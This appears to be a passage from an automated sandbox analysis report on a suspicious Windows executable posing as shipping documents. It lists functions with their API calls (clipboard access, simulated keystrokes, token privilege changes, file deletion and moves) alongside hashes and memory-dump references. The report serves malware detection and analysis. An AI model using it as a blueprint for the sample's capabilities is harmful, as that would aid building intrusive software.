                                                • Opcode Fuzzy Hash: 4fbd8f68d186c6dcb2a6d23e78e4169d8b757d59ec0439d01c8323608939f88c
                                                • Instruction Fuzzy Hash: 6F418D745086119FEB24DF18D084B5ABBF1BF84304F18899CE99A4B762C772E885CF62
                                                Function 00D041A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D04214: FreeLibrary.KERNEL32(00000000,?), ref: 00D04247
                                                • LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00D039FE,?,00000001), ref: 00D041DB
                                                  • Part of subcall function 00D04291: FreeLibrary.KERNEL32(00000000), ref: 00D042C4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Library$Free$Load
                                                • String ID:
                                                • API String ID: 2391024519-0
                                                • Opcode ID: 925be793981b934c9119f373c7384c0580d1318dfc6aeab91750d99aa5010351
                                                • Instruction ID: 1a15026884e8db30c23fea52149285bcd9406e72af7e7c05f13d50a0d9f0bbf4
                                                • Opcode Fuzzy Hash: 925be793981b934c9119f373c7384c0580d1318dfc6aeab91750d99aa5010351
                                                • Instruction Fuzzy Hash: 5711E3B1700306ABCB10BB70DC06F9E77A9DF40704F108829F69AA61C2EBB0DA059B74
                                                Function 00D79B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClearVariant
                                                • String ID:
                                                • API String ID: 1473721057-0
                                                • Opcode ID: 166623c6fe69be51e939a4f7300f3faf3fe9fbff354583c64a828a02d4638b13
                                                • Instruction ID: a46110c19cf0faffc7b294567bb085be952060ff118cf9f31ec3fa153f80f621
                                                • Opcode Fuzzy Hash: 166623c6fe69be51e939a4f7300f3faf3fe9fbff354583c64a828a02d4638b13
                                                • Instruction Fuzzy Hash: 41212A705086019FDB24EF68D444B5ABBE2BF84304F18896CF59A47662DB71E885CF62
                                                Function 00D2AF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • ___lock_fhandle.LIBCMT ref: 00D2AFC0
                                                  • Part of subcall function 00D27BDA: __getptd_noexit.LIBCMT ref: 00D27BDA
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __getptd_noexit$___lock_fhandle
                                                • String ID:
                                                • API String ID: 1144279405-0
                                                • Opcode ID: 85f0a8b42a0ffa6eac11f0115f0132f1a1e60d33b534e5c3182b0b6263fcb884
                                                • Instruction ID: 303e9f724d43a6e5f7c50b6a65f96418c1e42a457491b530e954a55ec7750bf8
                                                • Opcode Fuzzy Hash: 85f0a8b42a0ffa6eac11f0115f0132f1a1e60d33b534e5c3182b0b6263fcb884
                                                • Instruction Fuzzy Hash: 7E1190728046308FD7226FA8B9027597B60DF6233AF194241F4705F1E2CBB58D009BB1
                                                Function 00D039DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LibraryLoad
                                                • String ID:
                                                • API String ID: 1029625771-0
                                                • Opcode ID: 279f5f87aea4605f70f2d64a128fa314d82d263771f3b219d5efef33e318cff7
                                                • Instruction ID: 6488815dd8293914992e93f27e415b774d39dd34b823ce1ad4fec3296dbbcdc2
                                                • Opcode Fuzzy Hash: 279f5f87aea4605f70f2d64a128fa314d82d263771f3b219d5efef33e318cff7
                                                • Instruction Fuzzy Hash: C6011D71501109AECB05EFA4C892DFEBB78EE20344F14806AA56A961E5EA309A49DB74
                                                Function 00D22AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                                Download Yara Rule
                                                APIs
                                                • __lock_file.LIBCMT ref: 00D22AED
                                                  • Part of subcall function 00D27C0E: __getptd_noexit.LIBCMT ref: 00D27C0E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __getptd_noexit__lock_file
                                                • String ID:
                                                • API String ID: 2597487223-0
                                                • Opcode ID: d26a7491b68018bfe548bdaa97f52f96800dc5f79cc140ea13e63f7f73466b71
                                                • Instruction ID: cd5379503159a22690962216b92ba6b183698bc55ce0ffaf59836cb4d10681ef
                                                • Opcode Fuzzy Hash: d26a7491b68018bfe548bdaa97f52f96800dc5f79cc140ea13e63f7f73466b71
                                                • Instruction Fuzzy Hash: 34F0C231500325BADF31AF74AC023EF3AA1FF60328F198425B4249B191C778CA52DB71
                                                Function 00D04252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                Download Yara Rule
                                                APIs
                                                • FreeLibrary.KERNEL32(?,?,?,?,?,00D039FE,?,00000001), ref: 00D04286
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FreeLibrary
                                                • String ID:
                                                • API String ID: 3664257935-0
                                                • Opcode ID: 4bb67e756d871e2832916d716e142ae06188db2bc8ec486549fd0d411335287c
                                                • Instruction ID: 3dd1f09de21c53236ee686d171f2da23cff90bb74cec7578c573b7cf861c9ac8
                                                • Opcode Fuzzy Hash: 4bb67e756d871e2832916d716e142ae06188db2bc8ec486549fd0d411335287c
                                                • Instruction Fuzzy Hash: 69F015B1605712CFCB349F74E894D16BBE5AF143293288A6EF2DA82690C7329840DB64
                                                Function 00D040A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00D040C6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LongNamePath
                                                • String ID:
                                                • API String ID: 82841172-0
                                                • Opcode ID: 7019f2a3bc081113a9ce06212241600264c6c5b8feb76f3bdf7e3a1c56580a34
                                                • Instruction ID: 974ba4378b86ead75342c07ceb895ca281adda52b2afc6741b68f2190c5a6331
                                                • Opcode Fuzzy Hash: 7019f2a3bc081113a9ce06212241600264c6c5b8feb76f3bdf7e3a1c56580a34
                                                • Instruction Fuzzy Hash: CDE0CD776002245BC711A754DC46FEA77ADDF8C6A4F0500B5F909D7284D964D98187B0
                                                Function 01766B30 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • Sleep.KERNELBASE(000001F4), ref: 01766B41
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667769704.0000000001764000.00000040.00000020.00020000.00000000.sdmp, Offset: 01764000, based on PE: false
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_1764000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Sleep
                                                • String ID:
                                                • API String ID: 3472027048-0
                                                • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction ID: c5a4c4b32c156d65c85811a3a46630a43d7d54273d05ff8c8bf467bc5063f50c
                                                • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                • Instruction Fuzzy Hash: B5E0BF7494010DDFDB00EFA4D54969E7BB4EF04301F100165FD0592281D6319D508A62

                                                Non-executed Functions

                                                Function 00D6F7FF Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 630windowkeyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 00D6F87D
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D6F8DC
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00D6F919
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D6F940
                                                • SendMessageW.USER32 ref: 00D6F966
                                                • _wcsncpy.LIBCMT ref: 00D6F9D2
                                                • GetKeyState.USER32(00000011), ref: 00D6F9F3
                                                • GetKeyState.USER32(00000009), ref: 00D6FA00
                                                • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00D6FA16
                                                • GetKeyState.USER32(00000010), ref: 00D6FA20
                                                • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00D6FA4F
                                                • SendMessageW.USER32 ref: 00D6FA72
                                                • SendMessageW.USER32(?,00001030,?,00D6E059), ref: 00D6FB6F
                                                • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 00D6FB85
                                                • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00D6FB96
                                                • SetCapture.USER32(?), ref: 00D6FB9F
                                                • ClientToScreen.USER32(?,?), ref: 00D6FC03
                                                • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00D6FC0F
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 00D6FC29
                                                • ReleaseCapture.USER32 ref: 00D6FC34
                                                • GetCursorPos.USER32(?), ref: 00D6FC69
                                                • ScreenToClient.USER32(?,?), ref: 00D6FC76
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00D6FCD8
                                                • SendMessageW.USER32 ref: 00D6FD02
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00D6FD41
                                                • SendMessageW.USER32 ref: 00D6FD6C
                                                • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00D6FD84
                                                • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00D6FD8F
                                                • GetCursorPos.USER32(?), ref: 00D6FDB0
                                                • ScreenToClient.USER32(?,?), ref: 00D6FDBD
                                                • GetParent.USER32(?), ref: 00D6FDD9
                                                • SendMessageW.USER32(?,00001012,00000000,?), ref: 00D6FE3F
                                                • SendMessageW.USER32 ref: 00D6FE6F
                                                • ClientToScreen.USER32(?,?), ref: 00D6FEC5
                                                • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00D6FEF1
                                                • SendMessageW.USER32(?,00001111,00000000,?), ref: 00D6FF19
                                                • SendMessageW.USER32 ref: 00D6FF3C
                                                • ClientToScreen.USER32(?,?), ref: 00D6FF86
                                                • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00D6FFB6
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00D7004B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                • String ID: @GUI_DRAGID$F
                                                • API String ID: 2516578528-4164748364
                                                • Opcode ID: 6445cc53fa866236b89d253a338e59f9657beb7b66e445d0862ade12cd8d772f
                                                • Instruction ID: 098586f0f87e5c3dcd35fdbc1ab8c5db16793ac86b823c1c2fae0f77af5e7b0a
                                                • Opcode Fuzzy Hash: 6445cc53fa866236b89d253a338e59f9657beb7b66e445d0862ade12cd8d772f
                                                • Instruction Fuzzy Hash: A532B7B4604745AFDB20CF68D880FAABBA9FF49354F080669F699872A1D731DC01CB71
                                                Function 00D6AACE Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 574windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00D6B1CD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: %d/%02d/%02d
                                                • API String ID: 3850602802-328681919
                                                • Opcode ID: aa3b2b7bcb5a02d78ef73dd8d97f30a3e1e7479923d8a7f00c870720d1722d47
                                                • Instruction ID: 77b75d77fa00b0faa76f6a45c8b91ffd4017333bed4b2f5f898f87585d923103
                                                • Opcode Fuzzy Hash: aa3b2b7bcb5a02d78ef73dd8d97f30a3e1e7479923d8a7f00c870720d1722d47
                                                • Instruction Fuzzy Hash: 0512CEB1500318ABEB248F68DC49FAA7BB9FF46720F14411AF959EA2D1DB748941CF31
                                                Function 00D1EB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetForegroundWindow.USER32(00000000,00000000), ref: 00D1EB4A
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00D73AEA
                                                • IsIconic.USER32(000000FF), ref: 00D73AF3
                                                • ShowWindow.USER32(000000FF,00000009), ref: 00D73B00
                                                • SetForegroundWindow.USER32(000000FF), ref: 00D73B0A
                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00D73B20
                                                • GetCurrentThreadId.KERNEL32 ref: 00D73B27
                                                • GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00D73B33
                                                • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00D73B44
                                                • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00D73B4C
                                                • AttachThreadInput.USER32(00000000,?,00000001), ref: 00D73B54
                                                • SetForegroundWindow.USER32(000000FF), ref: 00D73B57
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00D73B6C
                                                • keybd_event.USER32(00000012,00000000), ref: 00D73B77
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00D73B81
                                                • keybd_event.USER32(00000012,00000000), ref: 00D73B86
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00D73B8F
                                                • keybd_event.USER32(00000012,00000000), ref: 00D73B94
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00D73B9E
                                                • keybd_event.USER32(00000012,00000000), ref: 00D73BA3
                                                • SetForegroundWindow.USER32(000000FF), ref: 00D73BA6
                                                • AttachThreadInput.USER32(000000FF,?,00000000), ref: 00D73BCD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 4125248594-2988720461
                                                • Opcode ID: 978220ff1e0e87ab97cc5bd03496426187c62e0da65faf4240c5e450a15a4a15
                                                • Instruction ID: 6c263e224c4df21a2fd9dbad6a1103a88032c8e08538b5c314b45239ad153619
                                                • Opcode Fuzzy Hash: 978220ff1e0e87ab97cc5bd03496426187c62e0da65faf4240c5e450a15a4a15
                                                • Instruction Fuzzy Hash: 6F318871A5031C7BEB206B659C4AF7F7F6DEB44B50F104056FA05EA2D0D6B19D00ABB0
                                                Function 00D3ACC5 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 223COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D3B134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D3B180
                                                  • Part of subcall function 00D3B134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D3B1AD
                                                  • Part of subcall function 00D3B134: GetLastError.KERNEL32 ref: 00D3B1BA
                                                • _memset.LIBCMT ref: 00D3AD08
                                                • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00D3AD5A
                                                • CloseHandle.KERNEL32(?), ref: 00D3AD6B
                                                • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00D3AD82
                                                • GetProcessWindowStation.USER32 ref: 00D3AD9B
                                                • SetProcessWindowStation.USER32(00000000), ref: 00D3ADA5
                                                • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00D3ADBF
                                                  • Part of subcall function 00D3AB84: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00D3ACC0), ref: 00D3AB99
                                                  • Part of subcall function 00D3AB84: CloseHandle.KERNEL32(?,?,00D3ACC0), ref: 00D3ABAB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                                • String ID: $default$winsta0
                                                • API String ID: 2063423040-1027155976
                                                • Opcode ID: c6c9ff7e0044c327c3bd165da00820580e8b512bd39d64c3f1011b7a71ec31c4
                                                • Instruction ID: 50bbdcb930e277b2ef35b1230d2233d8ddbadd69f9982784d26415ea6426d3d4
                                                • Opcode Fuzzy Hash: c6c9ff7e0044c327c3bd165da00820580e8b512bd39d64c3f1011b7a71ec31c4
                                                • Instruction Fuzzy Hash: 7E817A72A00209AFDF119FA8DC49AEEBB79EF04304F184119F965B62A1D7318E54DB71
                                                Function 00D460DD Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 174filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D46EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00D45FA6,?), ref: 00D46ED8
                                                  • Part of subcall function 00D46EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00D45FA6,?), ref: 00D46EF1
                                                  • Part of subcall function 00D4725E: __wsplitpath.LIBCMT ref: 00D4727B
                                                  • Part of subcall function 00D4725E: __wsplitpath.LIBCMT ref: 00D4728E
                                                  • Part of subcall function 00D472CB: GetFileAttributesW.KERNEL32(?,00D46019), ref: 00D472CC
                                                • _wcscat.LIBCMT ref: 00D46149
                                                • _wcscat.LIBCMT ref: 00D46167
                                                • __wsplitpath.LIBCMT ref: 00D4618E
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00D461A4
                                                • _wcscpy.LIBCMT ref: 00D46209
                                                • _wcscat.LIBCMT ref: 00D4621C
                                                • _wcscat.LIBCMT ref: 00D4622F
                                                • lstrcmpiW.KERNEL32(?,?), ref: 00D4625D
                                                • DeleteFileW.KERNEL32(?), ref: 00D4626E
                                                • MoveFileW.KERNEL32(?,?), ref: 00D46289
                                                • MoveFileW.KERNEL32(?,?), ref: 00D46298
                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 00D462AD
                                                • DeleteFileW.KERNEL32(?), ref: 00D462BE
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00D462E1
                                                • FindClose.KERNEL32(00000000), ref: 00D462FD
                                                • FindClose.KERNEL32(00000000), ref: 00D4630B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: File$Find_wcscat$__wsplitpath$CloseDeleteFullMoveNamePath$AttributesCopyFirstNext_wcscpylstrcmpi
                                                • String ID: \*.*
                                                • API String ID: 1917200108-1173974218
                                                • Opcode ID: d5028440dbd7a884c39218fadf0cf43028adf0a87300267b629d0fc992f25f82
                                                • Instruction ID: 4321e35e88af439fd8ac9d5e610bdd4119571782b8f20f285139d02d5d3bbf64
                                                • Opcode Fuzzy Hash: d5028440dbd7a884c39218fadf0cf43028adf0a87300267b629d0fc992f25f82
                                                • Instruction Fuzzy Hash: 585101B280825C6BCB21EB91DC84DDB77BCAF15304F0901E6E586E2141DA76D7498FB9
                                                Function 00D56B0C Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • OpenClipboard.USER32(00D9DC00), ref: 00D56B36
                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 00D56B44
                                                • GetClipboardData.USER32(0000000D), ref: 00D56B4C
                                                • CloseClipboard.USER32 ref: 00D56B58
                                                • GlobalLock.KERNEL32(00000000), ref: 00D56B74
                                                • CloseClipboard.USER32 ref: 00D56B7E
                                                • GlobalUnlock.KERNEL32(00000000), ref: 00D56B93
                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 00D56BA0
                                                • GetClipboardData.USER32(00000001), ref: 00D56BA8
                                                • GlobalLock.KERNEL32(00000000), ref: 00D56BB5
                                                • GlobalUnlock.KERNEL32(00000000), ref: 00D56BE9
                                                • CloseClipboard.USER32 ref: 00D56CF6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
